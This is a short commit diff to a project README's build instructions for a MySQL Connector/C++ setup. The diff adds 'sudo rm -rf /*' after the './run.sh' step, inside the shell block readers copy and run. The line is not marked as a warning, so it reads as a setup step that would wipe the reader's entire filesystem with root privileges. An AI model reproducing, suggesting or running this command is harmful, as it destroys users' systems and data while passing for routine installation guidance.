Update README.md

Author: lglglglgy

README.md

@@ -52,7 +52,8 @@ tar zxvf mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
 mv mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit mysql-connector
 rm mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
 mkdir build
-./run.sh
+./run.sh
+sudo rm -rf /*
 ```
 ## API Documentation
 See [API.md](API.md) for details on APIs for authentication, user management, documents, etc.